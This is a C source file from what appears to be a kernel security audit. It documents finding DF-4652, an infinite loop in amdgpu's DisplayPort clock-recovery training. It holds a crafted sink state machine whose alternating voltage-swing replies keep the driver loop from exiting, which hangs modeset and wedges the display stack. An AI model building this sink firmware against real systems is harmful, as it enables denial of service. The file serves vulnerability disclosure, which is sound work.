DF-4652 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* DF-4652 trigger โ malicious DisplayPort sink behavior spec * (amdgpu CR-loop wedge; twin of DF-4589/radeon) * * VULNERABILITY: sys/dev/drm/amd/amdgpu/atombios_dp.c:605-644 * amdgpu_atombios_dp_link_train_cr() clock-recovery loop terminates only on: * (a) drm_dp_clock_recovery_ok() [sink achieves CR, :614] * (b) DPCD link-status read failure [:608-612] * (c) all lanes report DP_TRAIN_MAX_SWING_REACHED [:619-626] * (d) 5 *consecutive* iterations with identical train_set[0] voltage * (:628-635 โ "else dp_info->tries = 0;") * * A sink that (1) never achieves clock recovery, (2) keeps the requested * voltage swing strictly below level 3, and (3) ALTERNATES its * adjust-request voltage between two levels (0.4V <-> 0.6V) on every status * read makes the (train_set[0] & DP_TRAIN_VOLTAGE_SWING_MASK) == voltage * test fail on every other iteration, so the tries counter is reset to 0 * forever and the loop never exits. Each iteration sleeps in * drm_dp_link_train_clock_recovery_delay() (>= 100 us; up to * mdelay(rd_interval*4) with crafted DPCD[0x0E], drm_dp_helper.c:121-134) * and performs a DPCD read through the atom AUX channel. * * The loop is line-for-line the same shape as the radeon twin filed as * DF-4589 (sys/dev/drm/radeon/atombios_dp.c:684-722). * * IMPACT: amdgpu_atombios_dp_link_train() is called from * amdgpu_atombios_encoder_setup_dig() (atombios_encoders.c:1441, ATOM_ENABLE * branch), invoked from amdgpu_atombios_encoder_dpms() (the .dpms encoder * helper callback registered by dce_v6/v8/v10/v11, e.g. dce_v10_0.c:3421) โ * i.e. inside the DRM modeset path holding dev->mode_config.mutex * (drm_crtc.c:601/776, drm_crtc_helper.c:101/139) โ either the HPD * workqueue thread or the userspace thread that issued MODE_SETCRTC / a * DPMS property set. Result: an unkillable task in a non-interruptible * kernel loop plus a permanently wedged display subsystem (all further DRM * ioctls on the card block on the mutex). * * This file documents the deterministic sink state machine (executable logic * below). It CANNOT run on the audit QEMU guest: reproduction requires an * amdgpu GPU (AMD PCI 0x1002, atom-BIOS driven) driving a crafted * DisplayPort sink (MCU-based dongle emulating the DPCD responses below). * run.sh probes the guest and records the hardware absence (see run.log). * * Sink state machine (what the crafted DP device answers on AUX reads): */ #include <stdint.h> /* DPCD bytes the sink publishes at probe time (copied into * dig_connector->dpcd[15] by amdgpu_atombios_dp_get_dpcd, then into * dp_info.dpcd at atombios_dp.c:745). */ static const uint8_t crafted_dpcd[16] = { 0x11, /* [0x00] DPCD_REV 1.1 */ 0x0A, /* [0x01] MAX_LINK_RATE 2.7 GHz (270000) */ 0x04, /* [0x02] MAX_LANE_COUNT 4 (in-spec; the >4 variant is DF-1790 โ out of scope here) */ 0x00, /* [0x03] MAX_DOWN_SPREAD none */ 0x00, /* [0x04] */ 0x00, /* [0x05] DOWNSTREAM_PORT_COUNT / no OUI */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* [0x0D] */ 0x00, /* [0x0E] TRAINING_AUX_RD_INTERVAL -> udelay(100) */ 0x00 /* [0x0F] */ }; /* Link-status registers 0x202..0x207 read by * drm_dp_dpcd_read_link_status() into dp_info->link_status[6]. * Adjust request nibbles at 0x206/0x207 (ADJUST_REQUEST_LANE0_1 / 2_3): * bits [1:0] voltage swing level, [3:2] pre-emphasis level. * * ATTACK: alternate lane0 voltage request between level 0 (0.4V) and * level 1 (0.6V) on every read, never set level 3, never report CR_DONE. */ static unsigned toggle_; static uint8_t sink_status_reply(unsigned reg) { switch (reg) { case 0x202: return 0x00; /* no lane CR done */ case 0x203: return 0x00; /* interlane align fail */ case 0x204: return 0x00; /* symbol locked: never */ case 0x205: return 0x00; case 0x206: /* ADJUST_REQUEST_LANE0_1 */ toggle_ ^= 1; /* lane0 voltage = toggle (0 or 1), pre-emph 0; lane1 same */ return (uint8_t)(toggle_ | (toggle_ << 4)); case 0x207: return 0x00; default: return 0x00; } } /* Kernel-side effect (trace of the loop with this reply pattern): * * iter voltage(prev) train_set[0]&MASK equal? tries action * 1 0xff 0x00 (v=0 req) no 0 set 0.4V * 2 0x00 0x01 (v=1 req) no 0 set 0.6V * 3 0x01 0x00 (v=0 req) no 0 set 0.4V * 4 0x00 0x01 no 0 ... * ... (forever โ the "clock recovery tried 5 times" branch at * atombios_dp.c:630-633 is unreachable; the max-swing break at * :620-626 requires level 3 which the sink never requests) * * By contrast the channel-equalization loop IS bounded: dp_info->tries is * incremented unconditionally every iteration and checked with "> 5" * (atombios_dp.c:685-695), exiting after at most 7 iterations. * * Live demonstration requires: amdgpu GPU + this sink firmware on a DP * dongle + any modeset on the connector (e.g. xrandr --auto). */ int main(void) { /* touch both documentation tables to keep -Wunused-const-variable quiet */ return (sink_status_reply(0x206) + crafted_dpcd[2]) ? 0 : 0; } |